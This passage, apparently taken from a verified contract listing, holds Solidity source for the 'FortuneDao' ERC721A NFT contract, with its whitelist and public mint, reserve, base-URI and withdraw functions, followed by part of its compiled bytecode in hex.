+= 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721A: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; contract FortuneDao is ERC721A, Ownable, ReentrancyGuard { using ECDSA for bytes32; enum Status { Paused, WhitelistSale, PublicSale, Finished } Status public status; string public baseURI; string[] public baseURISet; address private _signer; address public marketingWallet; address public urlFlipper; uint256 public tokensReserved; uint256 public immutable maxMint; uint256 public immutable maxSupply; uint256 public immutable reserveAmount; uint256 public PRICE = 0.088 * 10**18; // 0.088 ETH mapping(address => bool) public publicMinted; mapping(address => bool) public whitelistMinted; event Minted(address minter, uint256 amount); event StatusChanged(Status status); event SignerChanged(address signer); event ReservedToken(address minter, address recipient, uint256 amount); event BaseURIChanged(string newBaseURI); constructor( string memory initBaseURI, address signer, address _marketingWallet, address _urlFlipper, uint256 _maxMint, uint256 _maxSupply, uint256 _reserveAmount ) ERC721A("FortuneDao", "Fortune", 66, _maxSupply) { baseURI = initBaseURI; _signer = signer; marketingWallet = _marketingWallet; urlFlipper = _urlFlipper; maxMint = _maxMint; maxSupply = _maxSupply; reserveAmount = _reserveAmount; } modifier onlyURLFlipper() { require(urlFlipper == _msgSender(), "Caller is not the url flipper"); _; } function _hash(uint256 amount, address _address) public view returns (bytes32) { return keccak256(abi.encode(Strings.toString(amount), address(this), _address)); } function _verify(bytes32 hash, bytes memory signature) internal view returns (bool) { return (_recover(hash, signature) == _signer); } function _recover(bytes32 hash, bytes memory signature) internal pure returns (address) { return hash.toEthSignedMessageHash().recover(signature); } function _baseURI() internal view override returns (string memory) { return baseURI; } function getBaseURISet() public view returns (string[] memory) { return baseURISet; } function reserve(address recipient, uint256 amount) external onlyOwner { require(amount > 0, "Amount too low"); require( totalSupply() + amount <= collectionSize, "Max supply exceeded" ); require( tokensReserved + amount <= reserveAmount, "Max reserve amount exceeded" ); _safeMint(recipient, amount); tokensReserved += amount; emit ReservedToken(msg.sender, recipient, amount); } function whitelistMint(uint256 amount, bytes calldata signature) external payable { require(status == Status.WhitelistSale, "WhitelistSale is not active."); require(!whitelistMinted[msg.sender], "Already minted."); require( _verify(_hash(amount, msg.sender), signature), "Invalid signature." ); require(PRICE * amount == msg.value, "Price incorrect."); require( numberMinted(msg.sender) + amount <= maxMint, "Max mint amount per wallet exceeded." ); require( totalSupply() + amount + reserveAmount - tokensReserved <= collectionSize, "Max supply exceeded." ); require(tx.origin == msg.sender, "Contract is not allowed to mint."); whitelistMinted[msg.sender] = true; _safeMint(msg.sender, amount); emit Minted(msg.sender, amount); } function mint() external payable { require(status == Status.PublicSale, "Public sale is not active."); require(tx.origin == msg.sender, "Contract is not allowed to mint."); require(!publicMinted[msg.sender], "Already minted."); require( totalSupply() + 1 + reserveAmount - tokensReserved <= collectionSize, "Max supply exceeded." ); require(PRICE == msg.value, "Price incorrect."); publicMinted[msg.sender] = true; _safeMint(msg.sender, 1); emit Minted(msg.sender, 1); } function withdraw() external nonReentrant onlyOwner { uint256 balance = address(this).balance; (bool success1, ) = payable(marketingWallet).call{value: balance}(""); require(success1, "Transfer failed."); } function setPRICE(uint256 newPRICE) external onlyOwner { PRICE = newPRICE; } function setBaseURI(string calldata newBaseURI) external onlyOwner { baseURI = newBaseURI; emit BaseURIChanged(newBaseURI); } function flipBaseURI(uint256 index) external onlyURLFlipper { require(index < baseURISet.length, "Index out of bound."); baseURI = baseURISet[index]; emit BaseURIChanged(baseURI); } function setBaseURISet(string[] memory newBaseURISet) external onlyOwner { baseURISet = newBaseURISet; } function setStatus(Status _status) external onlyOwner { status = _status; emit StatusChanged(_status); } function setSigner(address signer) external onlyOwner { _signer = signer; emit SignerChanged(signer); } function setURLFlipper(address newUrlFlipper) external onlyOwner { urlFlipper = newUrlFlipper; } function setMarketingWallet(address newMarketingWallet) external onlyOwner { marketingWallet = newMarketingWallet; } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } }
0x6080604052600436106102ad5760003560e01c8063661bdc4b116101755780639e852f75116100dc578063cd2e50da11610095578063dc33e6811161006f578063dc33e681146108a3578063e985e9c5146108c3578063eea52d381461090c578063f2fde38b1461092c57600080fd5b8063cd2e50da14610839578063d5abeb0114610859578063d7224ba01461088d57600080fd5b80639e852f7514610786578063a22cb46514610799578063b88d4fde146107b9578063c6d91225146107d9578063c87b56dd146107f9578063cc47a40b1461081957600080fd5b806375f0a8741161012e57806375f0a874146106a05780638d859f3e146106c05780638da5cb5b146106d65780639231ab2a146106f457806395d89b411461074157806398a8cffe1461075657600080fd5b8063661bdc4b146105e25780636c0360eb146106025780636c19e7831461061757806370a0823114610637578063715018a6146106575780637501f7411461066c57600080fd5b80632d20fb6011610219578063433adb05116101d2578063433adb05146105185780634b09b72a1461052e5780634f6ccce71461056257806355f804b3146105825780635d098b38146105a25780636352211e146105c257600080fd5b80632d20fb60146104635780632e49d78b146104835780632f745c59146104a35780633576e85f146104c35780633ccfd60b146104e357806342842e0e146104f857600080fd5b80631015805b1161026b5780631015805b146103a55780631249c58b146103d5578063152e4893146103dd57806318160ddd146103fd578063200d2ed21461041c57806323b872dd1461044357600080fd5b806248ac86146102b257806301ffc9a7146102d457806306fdde0314610309578063081812fc1461032b578063095ea7b3146103635780630b5c33b814610383575b600080fd5b3480156102be57600080fd5b506102d26102cd36600461346b565b61094c565b005b3480156102e057600080fd5b506102f46102ef3660046136b1565b6109a1565b60405190151581526020015b60405180910390f35b34801561031557600080fd5b5061031e610a0e565b6040516103009190613925565b34801561033757600080fd5b5061034b61034636600461374d565b610aa0565b6040516001600160a01b039091168152602001610300565b34801561036f57600080fd5b506102d261037e3660046135ac565b610b2b565b34801561038f57600080fd5b50610398610c43565b604051610300919061386c565b3480156103b157600080fd5b506102f46103c036600461346b565b60126020526000908152604090205460ff1681565b6102d2610d1c565b3480156103e957600080fd5b50600f5461034b906001600160a01b031681565b34801561040957600080fd5b506000545b604051908152602001610300565b34801561042857600080fd5b50600a546104369060ff1681565b60405161030091906138ce565b34801561044f57600080fd5b506102d261045e3660046134b9565b610f7b565b34801561046f57600080fd5b506102d261047e36600461374d565b610f86565b34801561048f57600080fd5b506102d261049e3660046136eb565b611019565b3480156104af57600080fd5b5061040e6104be3660046135ac565b6110a1565b3480156104cf57600080fd5b5061040e6104de366004613766565b61120e565b3480156104ef57600080fd5b506102d261124b565b34801561050457600080fd5b506102d26105133660046134b9565b611370565b34801561052457600080fd5b5061040e60105481565b34801561053a57600080fd5b5061040e7f000000000000000000000000000000000000000000000000000000000000004381565b34801561056e57600080fd5b5061040e61057d36600461374d565b61138b565b34801561058e57600080fd5b506102d261059d36600461370c565b6113ed565b3480156105ae57600080fd5b506102d26105bd36600461346b565b611461565b3480156105ce57600080fd5b5061034b6105dd36600461374d565b6114ad565b3480156105ee57600080fd5b506102d26105fd36600461374d565b6114bf565b34801561060e57600080fd5b5061031e6115c7565b34801561062357600080fd5b506102d261063236600461346b565b611655565b34801561064357600080fd5b5061040e61065236600461346b565b6116cd565b34801561066357600080fd5b506102d261175e565b34801561067857600080fd5b5061040e7f000000000000000000000000000000000000000000000000000000000000000281565b3480156106ac57600080fd5b50600e5461034b906001600160a01b031681565b3480156106cc57600080fd5b5061040e60115481565b3480156106e257600080fd5b506008546001600160a01b031661034b565b34801561070057600080fd5b5061071461070f36600461374d565b611794565b6040805182516001600160a01b031681526020928301516001600160401b03169281019290925201610300565b34801561074d57600080fd5b5061031e6117b1565b34801561076257600080fd5b506102f461077136600461346b565b60136020526000908152604090205460ff1681565b6102d2610794366004613789565b6117c0565b3480156107a557600080fd5b506102d26107b4366004613570565b611b43565b3480156107c557600080fd5b506102d26107d43660046134f5565b611c08565b3480156107e557600080fd5b5061031e6107f436600461374d565b611c41565b34801561080557600080fd5b5061031e61081436600461374d565b611c6c565b34801561082557600080fd5b506102d26108343660046135ac565b611d39565b34801561084557600080fd5b506102d26108543660046135d6565b611f01565b34801561086557600080fd5b5061040e7f000000000000000000000000000000000000000000000000000000000000029b81565b34801561089957600080fd5b5061040e60075481565b3480156108af57600080fd5b5061040e6108be36600461346b565b611f42565b3480156108cf57600080fd5b506102f46108de366004613486565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561091857600080fd5b506102d261092736600461374d565b611f4d565b34801561093857600080fd5b506102d261094736600461346b565b611f7c565b6008546001600160a01b0316331461097f5760405162461bcd60e51b815260040161097690613a13565b60405180910390fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b031982166380ac58cd60e01b14806109d257506001600160e01b03198216635b5e139f60e01b145b806109ed57506001600160e01b0319821663780e9d6360e01b145b80610a0857506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060018054610a1d90613bba565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4990613bba565b8015610a965780601f10610a6b57610100808354040283529160200191610a96565b820191906000526020600020905b815481529060010190602001808311610a7957829003601f168201915b5050505050905090565b6000610aad826000541190565b610b0f5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b6064820152608401610976565b506000908152600560205260409020546001600160a01b031690565b6000610b36826114ad565b9050806001600160a01b0316836001600160a01b03161415610ba55760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610976565b336001600160a01b0382161480610bc15750610bc181336108de565b610c335760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610976565b610c3e838383612017565b505050565b6060600c805480602002602001604051908101604052809291908181526020016000905b82821015610d13578382906000526020600020018054610c8690613bba565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb290613bba565b8015610cff5780601f10610cd457610100808354040283529160200191610cff565b820191906000526020600020905b815481529060010190602001808311610ce257829003601f168201915b505050505081526020019060010190610c67565b50505050905090565b6002600a5460ff166003811115610d3557610d35613c50565b14610d825760405162461bcd60e51b815260206004820152601a60248201527f5075626c69632073616c65206973206e6f74206163746976652e0000000000006044820152606401610976565b323314610dd15760405162461bcd60e51b815260206004820181905260248201527f436f6e7472616374206973206e6f7420616c6c6f77656420746f206d696e742e6044820152606401610976565b3360009081526012602052604090205460ff1615610e235760405162461bcd60e51b815260206004820152600f60248201526e20b63932b0b23c9036b4b73a32b21760891b6044820152606401610976565b7f000000000000000000000000000000000000000000000000000000000000029b6010547f0000000000000000000000000000000000000000000000000000000000000043610e7160005490565b610e7c906001613aed565b610e869190613aed565b610e909190613b60565b1115610ed55760405162461bcd60e51b815260206004820152601460248201527326b0bc1039bab838363c9032bc31b2b2b232b21760611b6044820152606401610976565b3460115414610f195760405162461bcd60e51b815260206004820152601060248201526f283934b1b29034b731b7b93932b1ba1760811b6044820152606401610976565b336000818152601260205260409020805460ff19166001908117909155610f409190612073565b60408051338152600160208201527f30385c845b448a36257a6a1716e6ad2e1bc2cbe333cde1e69fe849ad6511adfe910160405180910390a1565b610c3e83838361208d565b6008546001600160a01b03163314610fb05760405162461bcd60e51b815260040161097690613a13565b600260095414156110035760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610976565b600260095561101181612413565b506001600955565b6008546001600160a01b031633146110435760405162461bcd60e51b815260040161097690613a13565b600a805482919060ff1916600183600381111561106257611062613c50565b02179055507fafa725e7f44cadb687a7043853fa1a7e7b8f0da74ce87ec546e9420f04da8c1e8160405161109691906138ce565b60405180910390a150565b60006110ac836116cd565b82106111055760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610976565b600080549080805b838110156111ae576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b0316918301919091521561115f57805192505b876001600160a01b0316836001600160a01b0316141561119b578684141561118d57509350610a0892505050565b8361119781613bf5565b9450505b50806111a681613bf5565b91505061110d565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610976565b6000611219836125fc565b308360405160200161122d93929190613938565b60405160208183030381529060405280519060200120905092915050565b6002600954141561129e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610976565b60026009556008546001600160a01b031633146112cd5760405162461bcd60e51b815260040161097690613a13565b600e5460405147916000916001600160a01b039091169083908381818185875af1925050503d806000811461131e576040519150601f19603f3d011682016040523d82523d6000602084013e611323565b606091505b50509050806113675760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610976565b50506001600955565b610c3e83838360405180602001604052806000815250611c08565b6000805482106113e95760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610976565b5090565b6008546001600160a01b031633146114175760405162461bcd60e51b815260040161097690613a13565b611423600b8383613183565b507f5411e8ebf1636d9e83d5fc4900bf80cbac82e8790da2a4c94db4895e889eedf682826040516114559291906138f6565b60405180910390a15050565b6008546001600160a01b0316331461148b5760405162461bcd60e51b815260040161097690613a13565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006114b882612701565b5192915050565b600f546001600160a01b031633146115195760405162461bcd60e51b815260206004820152601d60248201527f43616c6c6572206973206e6f74207468652075726c20666c69707065720000006044820152606401610976565b600c5481106115605760405162461bcd60e51b815260206004820152601360248201527224b73232bc1037baba1037b3103137bab7321760691b6044820152606401610976565b600c818154811061157357611573613c66565b90600052602060002001600b90805461158b90613bba565b611596929190613203565b507f5411e8ebf1636d9e83d5fc4900bf80cbac82e8790da2a4c94db4895e889eedf6600b604051611096919061396b565b600b80546115d490613bba565b80601f016020809104026020016040519081016040528092919081815260200182805461160090613bba565b801561164d5780601f106116225761010080835404028352916020019161164d565b820191906000526020600020905b81548152906001019060200180831161163057829003601f168201915b505050505081565b6008546001600160a01b0316331461167f5760405162461bcd60e51b815260040161097690613a13565b600d80546001600160a01b0319166001600160a01b0383169081179091556040519081527f5719a5656c5cfdaafa148ecf366fd3b0a7fae06449ce2a46225977fb7417e29d90602001611096565b60006001600160a01b0382166117395760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610976565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6008546001600160a01b031633146117885760405162461bcd60e51b815260040161097690613a13565b61179260006128aa565b565b6040805180820190915260008082526020820152610a0882612701565b606060028054610a1d90613bba565b6001600a5460ff1660038111156117d9576117d9613c50565b146118265760405162461bcd60e51b815260206004820152601c60248201527f57686974656c69737453616c65206973206e6f74206163746976652e000000006044820152606401610976565b3360009081526013602052604090205460ff16156118785760405162461bcd60e51b815260206004820152600f60248201526e20b63932b0b23c9036b4b73a32b21760891b6044820152606401610976565b6118c1611885843361120e565b83838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506128fc92505050565b6119025760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b21039b4b3b730ba3ab9329760711b6044820152606401610976565b34836011546119119190613b19565b146119515760405162461bcd60e51b815260206004820152601060248201526f283934b1b29034b731b7b93932b1ba1760811b6044820152606401610976565b7f00000000000000000000000000000000000000000000000000000000000000028361197c33611f42565b6119869190613aed565b11156119e05760405162461bcd60e51b8152602060048201526024808201527f4d6178206d696e7420616d6f756e74207065722077616c6c65742065786365656044820152633232b21760e11b6064820152608401610976565b7f000000000000000000000000000000000000000000000000000000000000029b6010547f000000000000000000000000000000000000000000000000000000000000004385611a2f60005490565b611a399190613aed565b611a439190613aed565b611a4d9190613b60565b1115611a925760405162461bcd60e51b815260206004820152601460248201527326b0bc1039bab838363c9032bc31b2b2b232b21760611b6044820152606401610976565b323314611ae15760405162461bcd60e51b815260206004820181905260248201527f436f6e7472616374206973206e6f7420616c6c6f77656420746f206d696e742e6044820152606401610976565b336000818152601360205260409020805460ff19166001179055611b059084612073565b60408051338152602081018590527f30385c845b448a36257a6a1716e6ad2e1bc2cbe333cde1e69fe849ad6511adfe910160405180910390a1505050565b6001600160a01b038216331415611b9c5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610976565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b611c1384848461208d565b611c1f84848484612926565b611c3b5760405162461bcd60e51b815260040161097690613a48565b50505050565b600c8181548110611c5157600080fd5b9060005260206000200160009150905080546115d490613bba565b6060611c79826000541190565b611cdd5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610976565b6000611ce7612a33565b90506000815111611d075760405180602001604052806000815250611d32565b80611d11846125fc565b604051602001611d22929190613800565b6040516020818303038152906040525b9392505050565b6008546001600160a01b03163314611d635760405162461bcd60e51b815260040161097690613a13565b60008111611da45760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f206c6f7760901b6044820152606401610976565b7f000000000000000000000000000000000000000000000000000000000000029b81611dcf60005490565b611dd99190613aed565b1115611e1d5760405162461bcd60e51b815260206004820152601360248201527213585e081cdd5c1c1b1e48195e18d959591959606a1b6044820152606401610976565b7f000000000000000000000000000000000000000000000000000000000000004381601054611e4c9190613aed565b1115611e9a5760405162461bcd60e51b815260206004820152601b60248201527f4d6178207265736572766520616d6f756e7420657863656564656400000000006044820152606401610976565b611ea48282612073565b8060106000828254611eb69190613aed565b9091555050604080513381526001600160a01b03841660208201529081018290527fd729ebd340be850113adba35e3218ac6bd77c375ce35c256e3493fdf30b99f3e90606001611455565b6008546001600160a01b03163314611f2b5760405162461bcd60e51b815260040161097690613a13565b8051611f3e90600c90602084019061327e565b5050565b6000610a0882612a42565b6008546001600160a01b03163314611f775760405162461bcd60e51b815260040161097690613a13565b601155565b6008546001600160a01b03163314611fa65760405162461bcd60e51b815260040161097690613a13565b6001600160a01b03811661200b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610976565b612014816128aa565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b611f3e828260405180602001604052806000815250612ae0565b600061209882612701565b80519091506000906001600160a01b0316336001600160a01b031614806120cf5750336120c484610aa0565b6001600160a01b0316145b806120e1575081516120e190336108de565b90508061214b5760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610976565b846001600160a01b031682600001516001600160a01b0316146121bf5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610976565b6001600160a01b0384166122235760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610976565b6122336000848460000151612017565b6001600160a01b03851660009081526004602052604081208054600192906122659084906001600160801b0316613b38565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b038616600090815260046020526040812080546001945090926122b191859116613acb565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b0380871682526001600160401b03428116602080850191825260008981526003909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055612338846001613aed565b6000818152600360205260409020549091506001600160a01b03166123c957612362816000541190565b156123c95760408051808201825284516001600160a01b0390811682526020808701516001600160401b039081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b600754816124635760405162461bcd60e51b815260206004820152601860248201527f7175616e74697479206d757374206265206e6f6e7a65726f00000000000000006044820152606401610976565b600060016124718484613aed565b61247b9190613b60565b90506124a860017f000000000000000000000000000000000000000000000000000000000000029b613b60565b8111156124dd576124da60017f000000000000000000000000000000000000000000000000000000000000029b613b60565b90505b6124e8816000541190565b6125435760405162461bcd60e51b815260206004820152602660248201527f6e6f7420656e6f756768206d696e7465642079657420666f722074686973206360448201526506c65616e75760d41b6064820152608401610976565b815b8181116125e8576000818152600360205260409020546001600160a01b03166125d657600061257382612701565b60408051808201825282516001600160a01b0390811682526020938401516001600160401b039081168584019081526000888152600390965293909420915182549351909416600160a01b026001600160e01b0319909316931692909217179055505b806125e081613bf5565b915050612545565b506125f4816001613aed565b600755505050565b6060816126205750506040805180820190915260018152600360fc1b602082015290565b8160005b811561264a578061263481613bf5565b91506126439050600a83613b05565b9150612624565b6000816001600160401b0381111561266457612664613c7c565b6040519080825280601f01601f19166020018201604052801561268e576020820181803683370190505b5090505b84156126f9576126a3600183613b60565b91506126b0600a86613c10565b6126bb906030613aed565b60f81b8183815181106126d0576126d0613c66565b60200101906001600160f81b031916908160001a9053506126f2600a86613b05565b9450612692565b949350505050565b6040805180820190915260008082526020820152612720826000541190565b61277f5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610976565b60007f000000000000000000000000000000000000000000000000000000000000004283106127e0576127d27f000000000000000000000000000000000000000000000000000000000000004284613b60565b6127dd906001613aed565b90505b825b818110612849576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b0316918301919091521561283657949350505050565b508061284181613ba3565b9150506127e2565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b6064820152608401610976565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600d546000906001600160a01b03166129158484612dba565b6001600160a01b0316149392505050565b60006001600160a01b0384163b15612a2857604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061296a90339089908890889060040161382f565b602060405180830381600087803b15801561298457600080fd5b505af19250505080156129b4575060408051601f3d908101601f191682019092526129b1918101906136ce565b60015b612a0e573d8080156129e2576040519150601f19603f3d011682016040523d82523d6000602084013e6129e7565b606091505b508051612a065760405162461bcd60e51b815260040161097690613a48565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506126f9565b506001949350505050565b6060600b8054610a1d90613bba565b60006001600160a01b038216612ab45760405162461bcd60e51b815260206004820152603160248201527f455243373231413a206e756d626572206d696e74656420717565727920666f7260448201527020746865207a65726f206164647265737360781b6064820152608401610976565b506001600160a01b0316600090815260046020526040902054600160801b90046001600160801b031690565b6000546001600160a01b038416612b435760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610976565b612b4e816000541190565b15612b9b5760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006044820152606401610976565b7f0000000000000000000000000000000000000000000000000000000000000042831115612c165760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b6064820152608401610976565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612c72908790613acb565b6001600160801b03168152602001858360200151612c909190613acb565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b029790961696909617909455845180860186529182526001600160401b034281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b85811015612daf5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4612d736000888488612926565b612d8f5760405162461bcd60e51b815260040161097690613a48565b81612d9981613bf5565b9250508080612da790613bf5565b915050612d26565b50600081905561240b565b6000611d3282612e17856040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b906000806000612e278585612e3c565b91509150612e3481612eac565b509392505050565b600080825160411415612e735760208301516040840151606085015160001a612e6787828585613067565b94509450505050612ea5565b825160401415612e9d5760208301516040840151612e92868383613154565b935093505050612ea5565b506000905060025b9250929050565b6000816004811115612ec057612ec0613c50565b1415612ec95750565b6001816004811115612edd57612edd613c50565b1415612f2b5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610976565b6002816004811115612f3f57612f3f613c50565b1415612f8d5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610976565b6003816004811115612fa157612fa1613c50565b1415612ffa5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e61747572652027